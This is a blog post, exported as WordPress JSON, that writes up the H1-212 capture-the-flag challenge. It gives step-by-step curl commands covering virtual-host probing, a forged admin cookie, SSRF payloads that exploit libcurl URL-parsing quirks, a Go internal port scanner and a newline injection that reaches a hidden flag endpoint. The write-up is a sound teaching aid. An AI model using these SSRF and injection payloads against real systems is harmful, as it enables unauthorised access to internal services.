{"id":4,"date":"2017-11-17T23:59:17","date_gmt":"2017-11-17T23:59:17","guid":{"rendered":"http:\/\/blog.erbbysam.com\/?p=4"},"modified":"2022-01-09T03:15:41","modified_gmt":"2022-01-09T03:15:41","slug":"ctf","status":"publish","type":"post","link":"https:\/\/blog.erbbysam.com\/index.php\/2017\/11\/17\/ctf\/","title":{"rendered":"H1-212 CTF"},"content":{"rendered":"<p>As with most problems in the world, this one started with a tweet:<\/p>\n<blockquote class=\"twitter-tweet\">\n<p dir=\"ltr\" lang=\"en\">Hackers, hack your way to NYC this December for h1-212! An engineer of <a href=\"https:\/\/t.co\/xePbcEBVTR\">https:\/\/t.co\/xePbcEBVTR<\/a> launched a new server for a new admin panel. He is completely confident that the server can\u2019t be hacked, so he hid a flag. Details: <a href=\"https:\/\/t.co\/WMRQ891idH\">https:\/\/t.co\/WMRQ891idH<\/a>. <a href=\"https:\/\/twitter.com\/hashtag\/TogetherWeHitHarder?src=hash&amp;ref_src=twsrc%5Etfw\">#TogetherWeHitHarder<\/a><\/p>\n<p>\u2014 Jobert Abma (@jobertabma) <a href=\"https:\/\/twitter.com\/jobertabma\/status\/930113142763302913?ref_src=twsrc%5Etfw\">November 13, 2017<\/a><\/p><\/blockquote>\n<p>Let&#8217;s find that flag!<\/p>\n<h2>TLDR<\/h2>\n<pre><code class=\"bash\">\n# step 0\ncurl -v http:\/\/104.236.20.43\/\n# step 1 \ncurl -v http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org'\n# step 2\ncurl -v http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes'\n# step 3\ncurl -v http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes' -X POST\n# step 4\ncurl http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes' -X POST -H \"Content-Type: application\/json\" -d '{}'\n# step 5\ncurl http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes' -X POST -H \"Content-Type: application\/json\" -d '{\"domain\":\"localhost:22 @212.example.com\"}'\ncurl -s http:\/\/104.236.20.43\/read.php?id=(RETURNED ID) -H 'Host: admin.acme.org' --cookie 'admin=yes' | jq -r  '.data' | base64 -d\n#step 6 \ncurl http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes' -X POST -H \"Content-Type: application\/json\" -d '{\"domain\":\"localhost:1337 @212.example.com\"}'\ncurl -s http:\/\/104.236.20.43\/read.php?id=(RETURNED ID) -H 'Host: admin.acme.org' --cookie 'admin=yes' | jq -r  '.data' | base64 -d\n# step 7\ncurl http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes' -X POST -H \"Content-Type: application\/json\" -d '{\"domain\":\"localhost:1337\/flag\\n212.example.com\"}'\ncurl -s http:\/\/104.236.20.43\/read.php?id=(RETURNED ID - 1) -H 'Host: admin.acme.org' --cookie 'admin=yes' | jq -r  '.data' | base64 -d\n# step 7, output\nFLAG: CF,2dsV\\\/]fRAYQ.TDEp`w\"M(%mU;p9+9FD{Z48X*Jtt{%vS($g7\\S):f%=P[Y@nka=&lt;tqhnF&lt;aq=K5:BC@Sb*{[%z\"+@yPb\/nfFna&lt;e$hv{p8r2[vMMF52y:z\/Dh;{6\n<\/code><\/pre>\n<p>Or if you would prefer a tweet sized solution:<\/p>\n<pre><code class=\"bash\">H=\"Host: admin.acme.org\";B=\"admin=yes\";curl 104.236.20.43\/read.php?id=$(expr $(curl 104.236.20.43\/index.php -s -H \"$H\" -b \"$B\" -d '{\"domain\":\"0:1337\/flag\\n212.h.com\"}' -H \"Content-Type: application\/json\"|sed 's\/.*=\\(.*\\)\\\"}\/\\1\/') - 1) -s -H \"$H\" -b \"$B\"|jq -r '.data'|base64 -d<\/code><\/pre>\n<p>But I digress. Still here? Cool, lets find this flag and document the snags I hit along the way.<\/p>\n<h2>Step 1 &#8212; Virtual hosting<\/h2>\n<p><a href=\"http:\/\/104.236.20.43\/\" target=\"_blank\" rel=\"noopener\">http:\/\/104.236.20.43\/<\/a> greets us with a default Ubuntu install:<\/p>\n<p><img loading=\"lazy\" class=\" wp-image-28 aligncenter\" src=\"https:\/\/erbbysam.files.wordpress.com\/2017\/11\/default.png\" alt=\"default\" width=\"401\" height=\"205\"><\/p>\n<p>This is the last time we will use our web browser for this CTF (curl time!)!<\/p>\n<p>From the originally tweet &amp; blog post &#8212; we know to search for an &#8220;admin&#8221; interface on 104.236.20.43. We should check for &#8220;admin&#8221; hostnames for sites hosted (and paths, see setback 1 below) on the same server. This technique of hosting multiple sites behind the same IP\/port is called <a href=\"https:\/\/en.wikipedia.org\/wiki\/Virtual_hosting#Name-based\" target=\"_blank\" rel=\"noopener\">name-based virtual hosting<\/a>.<\/p>\n<p>Checking any hostname returns the Apache2 Ubuntu default page, with the exception of admin.acme.org:<\/p>\n<pre><code class=\"bash\">ubuntu@client:~$ curl -v http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org'\n*   Trying 104.236.20.43...\n* TCP_NODELAY set\n* Connected to 104.236.20.43 (104.236.20.43) port 80 (#0)\n&gt; GET \/ HTTP\/1.1\n&gt; Host: admin.acme.org\n&gt; User-Agent: curl\/7.54.0\n&gt; Accept: *\/*\n&gt; \n&lt; HTTP\/1.1 200 OK\n&lt; Date: Fri, 17 Nov 2017 23:30:19 GMT\n&lt; Server: Apache\/2.4.18 (Ubuntu)\n&lt; Set-Cookie: admin=no\n&lt; Content-Length: 0\n&lt; Content-Type: text\/html; charset=UTF-8\n&lt; \n<\/code><\/pre>\n<p>For admin.acme.org we are provided a blank page and a cookie &#8220;admin=no&#8221;!<\/p>\n<h3>Setback 1.a &#8212; Brute force<\/h3>\n<p>Executing a brute force scan of the root directory returns nothing exciting, except a fake flag <a href=\"http:\/\/104.236.20.43\/flag\" target=\"_blank\" rel=\"noopener\">http:\/\/104.236.20.43\/flag<\/a> &#8211;<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-25\" src=\"http:\/\/blog.erbbysam.com\/wp-content\/uploads\/2017\/11\/dirsearch.png\" alt=\"\" width=\"1332\" height=\"514\" srcset=\"https:\/\/blog.erbbysam.com\/wp-content\/uploads\/2017\/11\/dirsearch.png 1332w, https:\/\/blog.erbbysam.com\/wp-content\/uploads\/2017\/11\/dirsearch-300x116.png 300w, https:\/\/blog.erbbysam.com\/wp-content\/uploads\/2017\/11\/dirsearch-768x296.png 768w\" sizes=\"(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px\" \/><\/p>\n<p>DNS or other related recon methods will not work as the public acme.org is not associated with this machine.<\/p>\n<h2>Step 2 &#8212; admin=yes<\/h2>\n<p>If we try a few values for the admin cookie, we find the only value that returns anything other than a HTTP 200 return code is &#8220;admin=yes&#8221;:<\/p>\n<pre><code class=\"bash\">ubuntu@client:~$ curl -v http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes'\n*   Trying 104.236.20.43...\n* TCP_NODELAY set\n* Connected to 104.236.20.43 (104.236.20.43) port 80 (#0)\n&gt; GET \/ HTTP\/1.1\n&gt; Host: admin.acme.org\n&gt; User-Agent: curl\/7.54.0\n&gt; Accept: *\/*\n&gt; Cookie: admin=yes\n&gt; \n&lt; HTTP\/1.1 405 Method Not Allowed\n&lt; Date: Sat, 18 Nov 2017 00:25:51 GMT\n&lt; Server: Apache\/2.4.18 (Ubuntu)\n&lt; Content-Length: 0\n&lt; Content-Type: text\/html; charset=UTF-8\n&lt; \n<\/code><\/pre>\n<p>At this point, we have a server returning a 405, which is not terribly exciting. At least there were no setbacks with this step \ud83d\ude42<\/p>\n<h2>Step 3 &#8212; What is a 405?<\/h2>\n<p>A <a href=\"https:\/\/tools.ietf.org\/html\/rfc7231#section-6.5.5\" target=\"_blank\" rel=\"noopener\">HTTP 405 response is defined as<\/a>:<\/p>\n<blockquote><p>The 405 (Method Not Allowed) status code indicates that the method<br \/>\nreceived in the request-line is known by the origin server but not<br \/>\nsupported by the target resource. The origin server MUST generate an<br \/>\nAllow header field in a 405 response containing a list of the target<br \/>\nresource&#8217;s currently supported methods.<\/p><\/blockquote>\n<p>An HTTP Method refers to the verb sent by the client, in the above case this was &#8220;GET&#8221;, however there are <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Methods\" target=\"_blank\" rel=\"noopener\">many options available<\/a>. The only method that returns anything different is POST, which can be observed returning a 406 error:<\/p>\n<pre><code class=\"bash\">ubuntu@client:~$ curl -v http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes' -X POST\n*   Trying 104.236.20.43...\n* TCP_NODELAY set\n* Connected to 104.236.20.43 (104.236.20.43) port 80 (#0)\n&gt; POST \/ HTTP\/1.1\n&gt; Host: admin.acme.org\n&gt; User-Agent: curl\/7.54.0\n&gt; Accept: *\/*\n&gt; Cookie: admin=yes\n&gt; \n&lt; HTTP\/1.1 406 Not Acceptable\n&lt; Date: Sat, 18 Nov 2017 00:37:46 GMT\n&lt; Server: Apache\/2.4.18 (Ubuntu)\n&lt; Content-Length: 0\n&lt; Content-Type: text\/html; charset=UTF-8\n&lt; \n<\/code><\/pre>\n<h3>Aside &#8212; HTTP OPTIONS<\/h3>\n<p>An <a href=\"https:\/\/tools.ietf.org\/html\/rfc7231#section-4.3.7\" target=\"_blank\" rel=\"noopener\">OPTIONS method with a * request target<\/a> returns an list of allowed methods:<\/p>\n<pre><code class=\"bash\">ubuntu@client:~$ curl -v http:\/\/104.236.20.43\/* -H 'Host: admin.acme.org' --cookie 'admin=yes' -X OPTIONS 2&gt;&amp;1 | grep Allow\n&lt; Allow: GET,HEAD,POST,OPTIONS\n<\/code><\/pre>\n<h3>Setback 3.a &#8212; 405 vs 406<\/h3>\n<p>I spent hours trying other HTTP methods as I did not notice that the POST request type returned a 406.<\/p>\n<h2>Step 4 &#8212; What is a 406?<\/h2>\n<p>Noticing a theme here yet? \ud83d\ude42<\/p>\n<p>A <a href=\"https:\/\/tools.ietf.org\/html\/rfc7231#section-6.5.6\" target=\"_blank\" rel=\"noopener\">HTTP 406 response is defined as<\/a>:<\/p>\n<blockquote><p>The 406 (Not Acceptable) status code indicates that the target<br \/>\nresource does not have a current representation that would be<br \/>\nacceptable to the user agent, according to the proactive negotiation<br \/>\nheader fields received in the request (Section 5.3), and the server<br \/>\nis unwilling to supply a default representation.<\/p><\/blockquote>\n<p>A 406 typically refers to the Accept headers sent by a client (see setback 4.a). In our case, since we are sending a POST request which generally contains data, the server is complaining that our data is not correctly formatted. If we send a request with a content type \u201capplication\/json\u201d, we receive this response:<\/p>\n<pre><code class=\"bash\">ubuntu@client:~$ curl http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes' -X POST -H \"Content-Type: application\/json\"\n{\"error\":{\"body\":\"unable to decode\"}}\n<\/code><\/pre>\n<p>By adding some data, we see that we are missing a domain field:<\/p>\n<pre><code class=\"bash\">ubuntu@client:~$ curl http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes' -X POST -H \"Content-Type: application\/json\" -d '{}'\n{\"error\":{\"domain\":\"required\"}}\n<\/code><\/pre>\n<p>These errors actually come in as <a href=\"https:\/\/en.wikipedia.org\/wiki\/Hyper_Text_Coffee_Pot_Control_Protocol#Save_418_Movement\" target=\"_blank\" rel=\"noopener\">418 teapot<\/a> responses \ud83c\udf75\ud83c\udf75\ud83c\udf75.<\/p>\n<h3>Setback 4.a &#8212; Accept all the things<\/h3>\n<p>As I thought the 406 header indicated something was missing from my &#8220;Accept&#8221; HTTP header (implying *\/* was not acceptable), I spent far too long gathering different acceptable <a href=\"https:\/\/tools.ietf.org\/html\/rfc7231#section-5.3.2\" target=\"_blank\" rel=\"noopener\">Accept media types<\/a>.<\/p>\n<h2>Step 5 &#8212; Domains<\/h2>\n<p>Sending domain requests allows us to ascertain the rules regarding the domain that must be followed:<\/p>\n<ol>\n<li>The domain must match the regex .*212.*\\..*\\.com for example 212.h.com and abc212abc.abc.com are both valid<\/li>\n<li>The domain cannot contain the characters: ? &amp; \\ % #<\/li>\n<li>The domain is parsed by php libcurl<\/li>\n<\/ol>\n<p>To put this into practice, let&#8217;s send a sample request (which will GET \/ from 212.erbbysam.com). Note that this is a 2 step process:<\/p>\n<pre><code class=\"bash\">\nubuntu@client:~$ curl http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes' -X POST -H \"Content-Type: application\/json\" -d '{\"domain\":\"212.erbbysam.com\"}'\n{\"next\":\"\\\/read.php?id=2150\"}\nubuntu@client:~$ curl -s http:\/\/104.236.20.43\/read.php?id=2150 -H 'Host: admin.acme.org' --cookie 'admin=yes'\n{\"data\":\"(base64 data removed)\"}\n<\/code><\/pre>\n<p>Rule 3 above becomes obvious when the string &#8220;localhost:22 @212.example.com&#8221; is provided as a domain:<\/p>\n<pre><code class=\"bash\">ubuntu@client:~$ curl http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes' -X POST -H \"Content-Type: application\/json\" -d '{\"domain\":\"localhost:22 @212.example.com\"}'\n{\"next\":\"\\\/read.php?id=97\"}\nubuntu@client:~$ curl -s http:\/\/104.236.20.43\/read.php?id=97 -H 'Host: admin.acme.org' --cookie 'admin=yes' | jq -r  '.data' | base64 -d\nSSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2\nProtocol mismatch.\n<\/code><\/pre>\n<p>That string may look familiar as it is very similar to php libcurl issues that were observed in one of the best talks to come out of Vegas this year (besides my own \ud83d\ude42 ) &#8211; <a href=\"https:\/\/www.blackhat.com\/docs\/us-17\/thursday\/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf\" target=\"_blank\" rel=\"noopener\">https:\/\/www.blackhat.com\/docs\/us-17\/thursday\/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf<\/a><\/p>\n<p>Aside &#8212; Tornado black hole<\/p>\n<p>Hosting a simple python tornado server at 212.erbbysam.com allowed me to reason about what the server&#8217;s code actually looked like by observing the requests coming in:<\/p>\n<pre><code class=\"python\">import tornado.ioloop\nimport tornado.web\n\nclass MainHandler(tornado.web.RequestHandler):\n    def get(self):\n        print self.request\n\ndef make_app():\n    return tornado.web.Application([\n        (r\"\/.*\", MainHandler),\n    ])\n\nif __name__ == \"__main__\":\n    app = make_app()\n    app.listen(80)\n    tornado.ioloop.IOLoop.current().start()\n<\/code><\/pre>\n<h2>Step 6 &#8212; Internal network scan<\/h2>\n<p>Suspecting that pivoting to something only accessible locally was the next step (while trying all the things\u2122), I setup a simple Go executable to scan every port accessible (similar to port 22 above):<\/p>\n<pre><code class=\"go\">package main\n\nimport \"fmt\"\nimport \"os\/exec\"\nimport \"strings\"\nimport \"strconv\"\n\nfunc Cmd(cmd string) []byte {\n    out, err := exec.Command(\"bash\", \"-c\", cmd).Output()\n    if err != nil {\n        fmt.Printf(\"error -- %s\\n\", cmd)\n    }\n    return out\n}\n\nfunc main() {\n    port := 0\n    for port &lt; 65535 {\n        fmt.Printf(\"%d -- \", port)\n        cmd := fmt.Sprintf(\"curl http:\/\/admin.acme.org\/index.php --header 'Host: admin.acme.org' --cookie 'admin=yes' -v -X POST -d '{\\\"domain\\\":\\\"localhost:%d @212.example.com\\\"}' -H 'Content-Type: application\/json' --max-time 10 \", port)\n        out := string(Cmd(cmd))\n        out =  strings.TrimLeft(strings.TrimRight(out,\"\\\"}\"),\"{\\\"next\\\":\\\"\\\\\/read.php?id=\")\n        num_out, err := strconv.Atoi(out)\n\n        if err == nil {\n            cmd = fmt.Sprintf(\"curl http:\/\/104.236.20.43\/read.php?id=%d --header 'Host: admin.acme.org' --cookie \\\"admin=yes\\\" -v --max-time 10 \" ,num_out)\n            out = string(Cmd(cmd))\n            fmt.Println(out)\n\n        } else {\n                fmt.Println(\"invalid\")\n        }\n        port = port + 1\n    }\n}\n<\/code><\/pre>\n<p>Running this code only produced a few interesting hits:<\/p>\n<pre><code class=\"bash\">ubuntu@client:~\/go\/scan$ go run test.go\n...\n22 -- {\"data\":\"U1NILTIuMC1PcGVuU1NIXzcuMnAyIFVidW50dS00dWJ1bnR1Mi4yDQpQcm90b2NvbCBtaXNtYXRjaC4K\"} (SSH example above)\n53 -- error (local dns server)\n80 -- {\"data\":\"CjwhRE9DVFlQRSBodG1sIFBVQkxJQ... (default ubuntu page)\n1337 -- {\"data\":\"SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K\"} (\"Hmm, where would it be?\")\n<\/code><\/pre>\n<p>The 1337 port appears to be running an http server (and it&#8217;s hinting that we&#8217;re getting close)!<\/p>\n<h2>Step 7 &#8212; Reaching \/flag on 1337<\/h2>\n<p>This part is a bit tricky. An intentional &#8220;bug&#8221; in the domain parsing script meant that a \\n character would split a request into 2 separate reads (incrementing the read.php ID 2x). To demonstrate this, I will make two consecutive calls with a \\n:<\/p>\n<pre><code class=\"bash\">ubuntu@client:~$ curl http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes' -X POST -H \"Content-Type: application\/json\" -d '{\"domain\":\"localhost:80\/\\n212.h.com\"}'\n{\"next\":\"\\\/read.php?id=2139\"}\nubuntu@client:~$ curl http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes' -X POST -H \"Content-Type: application\/json\" -d '{\"domain\":\"localhost:1337\/\\n212.example.com\"}'\n{\"next\":\"\\\/read.php?id=2141\"}\n<\/code><\/pre>\n<p>In this case read.php?id=2140 will access &#8220;localhost:1337\/&#8221; while read.php?id=2141 will access &#8220;212.example.com&#8221;. This allows us to access localhost:1337\/flag and grab our flag while still satisfying the domain rules from step 5!<\/p>\n<pre><code class=\"bash\">ubuntu@client:~$ curl http:\/\/104.236.20.43\/ -H 'Host: admin.acme.org' --cookie 'admin=yes' -X POST -H \"Content-Type: application\/json\" -d '{\"domain\":\"localhost:1337\/flag\\n212.example.com\"}'\n{\"next\":\"\\\/read.php?id=2143\"}\nubuntu@client:~$ curl -s http:\/\/104.236.20.43\/read.php?id=2142 -H 'Host: admin.acme.org' --cookie 'admin=yes' | jq -r  '.data' | base64 -d\nFLAG: CF,2dsV\\\/]fRAYQ.TDEp`w\"M(%mU;p9+9FD{Z48X*Jtt{%vS($g7\\S):f%=P[Y@nka=&lt;tqhnF&lt;aq=K5:BC@Sb*{[%z\"+@yPb\/nfFna&lt;e$hv{p8r2[vMMF52y:z\/Dh;{6\n<\/code><\/pre>\n<h3>Setback 7.a &#8212; Unicode characters<\/h3>\n<p>Using the python tornado server above,  I observed that any unicode character (as \\uXXXX where X is a hex character) could be passed through the server (with the exception of the character list in part  5). This is due to the use of <a href=\"https:\/\/tools.ietf.org\/html\/rfc4627.html#section-2.5\" target=\"_blank\" rel=\"noopener\">json encoding<\/a>, but was entirely unused here.<\/p>\n<h3>Setback 7.b &#8212; \\n<\/h3>\n<p>I could not figure out why my request would disappear when a \\n was passed in (no error appeared and no domain was contacted). My breakthrough here came when I tried the domain &#8220;212.erbbysam.com:80\/flag\\n212.erbbysam.com&#8221; and a GET \/ was accessed by the ID that was returned, I then noticed the ID had incremented twice (1st ID would GET \/flag, 2nd ID &#8212; the value returned &#8212;  would get \/).<\/p>\n<h2>Conclusion<\/h2>\n<p>In conclusion, never stop trying all the things\u2122 and always be on the lookout for interesting papers and presentations (I&#8217;m not sure if I would have finished this without knowing about that Black Hat URL parser presentation).<\/p>\n<p>Taking the curl requests from step 7, creating a few temporary bash variables and changing &#8220;localhost&#8221; to &#8220;0&#8221; we reduce this CTF to proper tweet form (277 characters):<\/p>\n<pre><code class=\"bash\">H=\"Host: admin.acme.org\";B=\"admin=yes\";curl 104.236.20.43\/read.php?id=$(expr $(curl 104.236.20.43\/index.php -s -H \"$H\" -b \"$B\" -d '{\"domain\":\"0:1337\/flag\\n212.h.com\"}' -H \"Content-Type: application\/json\"|sed 's\/.*=\\(.*\\)\\\"}\/\\1\/') - 1) -s -H \"$H\" -b \"$B\"|jq -r '.data'|base64 -d<\/code><\/pre>\n<p>Huge shout-out to <a href=\"https:\/\/twitter.com\/NahamSec\" target=\"_blank\" rel=\"noopener\">@NahamSec <\/a>and <a href=\"https:\/\/twitter.com\/jobertabma\" target=\"_blank\" rel=\"noopener\">@jobertama<\/a> for this awesome challenge &amp; thanks for reading \ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"<p>As with most problems in the world, this one started with a tweet: Hackers, hack your way to NYC this December for h1-212! An engineer of https:\/\/t.co\/xePbcEBVTR launched a new server for a new admin panel. He is completely confident that the server can\u2019t be hacked, so he hid a flag. Details: https:\/\/t.co\/WMRQ891idH. #TogetherWeHitHarder \u2014 &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/blog.erbbysam.com\/index.php\/2017\/11\/17\/ctf\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;H1-212 CTF&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.erbbysam.com\/index.php\/wp-json\/wp\/v2\/posts\/4"}],"collection":[{"href":"https:\/\/blog.erbbysam.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.erbbysam.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.erbbysam.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.erbbysam.com\/index.php\/wp-json\/wp\/v2\/comments?post=4"}],"version-history":[{"count":62,"href":"https:\/\/blog.erbbysam.com\/index.php\/wp-json\/wp\/v2\/posts\/4\/revisions"}],"predecessor-version":[{"id":127,"href":"https:\/\/blog.erbbysam.com\/index.php\/wp-json\/wp\/v2\/posts\/4\/revisions\/127"}],"wp:attachment":[{"href":"https:\/\/blog.erbbysam.com\/index.php\/wp-json\/wp\/v2\/media?parent=4"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.erbbysam.com\/index.php\/wp-json\/wp\/v2\/categories?post=4"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.erbbysam.com\/index.php\/wp-json\/wp\/v2\/tags?post=4"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}